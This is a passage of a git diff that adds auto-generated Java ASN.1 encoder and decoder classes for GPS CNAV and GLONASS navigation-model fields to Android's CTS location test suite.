+ if (TAG_cnavDeltaNoDotType != null) {
+ return ImmutableList.of(TAG_cnavDeltaNoDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavDeltaNoDotType from encoded stream.
+ */
+ public static cnavDeltaNoDotType fromPerUnaligned(byte[] encodedBytes) {
+ cnavDeltaNoDotType result = new cnavDeltaNoDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavDeltaNoDotType from encoded stream.
+ */
+ public static cnavDeltaNoDotType fromPerAligned(byte[] encodedBytes) {
+ cnavDeltaNoDotType result = new cnavDeltaNoDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavDeltaNoDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavMoType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavMoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavMoType() {
+ super();
+ setValueRange("-4294967296", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavMoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavMoType != null) {
+ return ImmutableList.of(TAG_cnavMoType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavMoType from encoded stream.
+ */
+ public static cnavMoType fromPerUnaligned(byte[] encodedBytes) {
+ cnavMoType result = new cnavMoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavMoType from encoded stream.
+ */
+ public static cnavMoType fromPerAligned(byte[] encodedBytes) {
+ cnavMoType result = new cnavMoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavMoType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavEType() {
+ super();
+ setValueRange("0", "8589934591");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavEType != null) {
+ return ImmutableList.of(TAG_cnavEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavEType from encoded stream.
+ */
+ public static cnavEType fromPerUnaligned(byte[] encodedBytes) {
+ cnavEType result = new cnavEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavEType from encoded stream.
+ */
+ public static cnavEType fromPerAligned(byte[] encodedBytes) {
+ cnavEType result = new cnavEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavEType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavOmegaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavOmegaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavOmegaType() {
+ super();
+ setValueRange("-4294967296", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavOmegaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavOmegaType != null) {
+ return ImmutableList.of(TAG_cnavOmegaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavOmegaType from encoded stream.
+ */
+ public static cnavOmegaType fromPerUnaligned(byte[] encodedBytes) {
+ cnavOmegaType result = new cnavOmegaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavOmegaType from encoded stream.
+ */
+ public static cnavOmegaType fromPerAligned(byte[] encodedBytes) {
+ cnavOmegaType result = new cnavOmegaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavOmegaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavOMEGA0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavOMEGA0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavOMEGA0Type() {
+ super();
+ setValueRange("-4294967296", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavOMEGA0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavOMEGA0Type != null) {
+ return ImmutableList.of(TAG_cnavOMEGA0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavOMEGA0Type from encoded stream.
+ */
+ public static cnavOMEGA0Type fromPerUnaligned(byte[] encodedBytes) {
+ cnavOMEGA0Type result = new cnavOMEGA0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavOMEGA0Type from encoded stream.
+ */
+ public static cnavOMEGA0Type fromPerAligned(byte[] encodedBytes) {
+ cnavOMEGA0Type result = new cnavOMEGA0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavOMEGA0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavDeltaOmegaDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavDeltaOmegaDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavDeltaOmegaDotType() {
+ super();
+ setValueRange("-65536", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavDeltaOmegaDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavDeltaOmegaDotType != null) {
+ return ImmutableList.of(TAG_cnavDeltaOmegaDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavDeltaOmegaDotType from encoded stream.
+ */
+ public static cnavDeltaOmegaDotType fromPerUnaligned(byte[] encodedBytes) {
+ cnavDeltaOmegaDotType result = new cnavDeltaOmegaDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavDeltaOmegaDotType from encoded stream.
+ */
+ public static cnavDeltaOmegaDotType fromPerAligned(byte[] encodedBytes) {
+ cnavDeltaOmegaDotType result = new cnavDeltaOmegaDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavDeltaOmegaDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavIoType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavIoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavIoType() {
+ super();
+ setValueRange("-4294967296", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavIoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavIoType != null) {
+ return ImmutableList.of(TAG_cnavIoType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavIoType from encoded stream.
+ */
+ public static cnavIoType fromPerUnaligned(byte[] encodedBytes) {
+ cnavIoType result = new cnavIoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavIoType from encoded stream.
+ */
+ public static cnavIoType fromPerAligned(byte[] encodedBytes) {
+ cnavIoType result = new cnavIoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavIoType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavIoDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavIoDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavIoDotType() {
+ super();
+ setValueRange("-16384", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavIoDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavIoDotType != null) {
+ return ImmutableList.of(TAG_cnavIoDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavIoDotType from encoded stream.
+ */
+ public static cnavIoDotType fromPerUnaligned(byte[] encodedBytes) {
+ cnavIoDotType result = new cnavIoDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavIoDotType from encoded stream.
+ */
+ public static cnavIoDotType fromPerAligned(byte[] encodedBytes) {
+ cnavIoDotType result = new cnavIoDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavIoDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavCisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavCisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavCisType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavCisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavCisType != null) {
+ return ImmutableList.of(TAG_cnavCisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavCisType from encoded stream.
+ */
+ public static cnavCisType fromPerUnaligned(byte[] encodedBytes) {
+ cnavCisType result = new cnavCisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavCisType from encoded stream.
+ */
+ public static cnavCisType fromPerAligned(byte[] encodedBytes) {
+ cnavCisType result = new cnavCisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavCisType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavCicType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavCicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavCicType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavCicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavCicType != null) {
+ return ImmutableList.of(TAG_cnavCicType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavCicType from encoded stream.
+ */
+ public static cnavCicType fromPerUnaligned(byte[] encodedBytes) {
+ cnavCicType result = new cnavCicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavCicType from encoded stream.
+ */
+ public static cnavCicType fromPerAligned(byte[] encodedBytes) {
+ cnavCicType result = new cnavCicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavCicType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavCrsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavCrsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavCrsType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavCrsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavCrsType != null) {
+ return ImmutableList.of(TAG_cnavCrsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavCrsType from encoded stream.
+ */
+ public static cnavCrsType fromPerUnaligned(byte[] encodedBytes) {
+ cnavCrsType result = new cnavCrsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavCrsType from encoded stream.
+ */
+ public static cnavCrsType fromPerAligned(byte[] encodedBytes) {
+ cnavCrsType result = new cnavCrsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavCrsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavCrcType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavCrcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavCrcType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavCrcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavCrcType != null) {
+ return ImmutableList.of(TAG_cnavCrcType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavCrcType from encoded stream.
+ */
+ public static cnavCrcType fromPerUnaligned(byte[] encodedBytes) {
+ cnavCrcType result = new cnavCrcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavCrcType from encoded stream.
+ */
+ public static cnavCrcType fromPerAligned(byte[] encodedBytes) {
+ cnavCrcType result = new cnavCrcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavCrcType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavCusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavCusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavCusType() {
+ super();
+ setValueRange("-1048576", "1048575");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavCusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavCusType != null) {
+ return ImmutableList.of(TAG_cnavCusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavCusType from encoded stream.
+ */
+ public static cnavCusType fromPerUnaligned(byte[] encodedBytes) {
+ cnavCusType result = new cnavCusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavCusType from encoded stream.
+ */
+ public static cnavCusType fromPerAligned(byte[] encodedBytes) {
+ cnavCusType result = new cnavCusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavCusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavCucType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavCucType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavCucType() {
+ super();
+ setValueRange("-1048576", "1048575");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavCucType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavCucType != null) {
+ return ImmutableList.of(TAG_cnavCucType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavCucType from encoded stream.
+ */
+ public static cnavCucType fromPerUnaligned(byte[] encodedBytes) {
+ cnavCucType result = new cnavCucType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavCucType from encoded stream.
+ */
+ public static cnavCucType fromPerAligned(byte[] encodedBytes) {
+ cnavCucType result = new cnavCucType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavCucType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NavModel_CNAVKeplerianSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java
new file mode 100755
index 0000000..0fbea3e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java
@@ -0,0 +1,1999 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NavModel_GLONASSecef extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NavModel_GLONASSecef
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NavModel_GLONASSecef() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NavModel_GLONASSecef;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NavModel_GLONASSecef != null) {
+ return ImmutableList.of(TAG_NavModel_GLONASSecef);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NavModel_GLONASSecef from encoded stream.
+ */
+ public static NavModel_GLONASSecef fromPerUnaligned(byte[] encodedBytes) {
+ NavModel_GLONASSecef result = new NavModel_GLONASSecef();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NavModel_GLONASSecef from encoded stream.
+ */
+ public static NavModel_GLONASSecef fromPerAligned(byte[] encodedBytes) {
+ NavModel_GLONASSecef result = new NavModel_GLONASSecef();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NavModel_GLONASSecef.gloEnType gloEn_;
+ public NavModel_GLONASSecef.gloEnType getGloEn() {
+ return gloEn_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloEnType
+ */
+ public void setGloEn(Asn1Object value) {
+ this.gloEn_ = (NavModel_GLONASSecef.gloEnType) value;
+ }
+ public NavModel_GLONASSecef.gloEnType setGloEnToNewInstance() {
+ gloEn_ = new NavModel_GLONASSecef.gloEnType();
+ return gloEn_;
+ }
+
+ private NavModel_GLONASSecef.gloP1Type gloP1_;
+ public NavModel_GLONASSecef.gloP1Type getGloP1() {
+ return gloP1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloP1Type
+ */
+ public void setGloP1(Asn1Object value) {
+ this.gloP1_ = (NavModel_GLONASSecef.gloP1Type) value;
+ }
+ public NavModel_GLONASSecef.gloP1Type setGloP1ToNewInstance() {
+ gloP1_ = new NavModel_GLONASSecef.gloP1Type();
+ return gloP1_;
+ }
+
+ private NavModel_GLONASSecef.gloP2Type gloP2_;
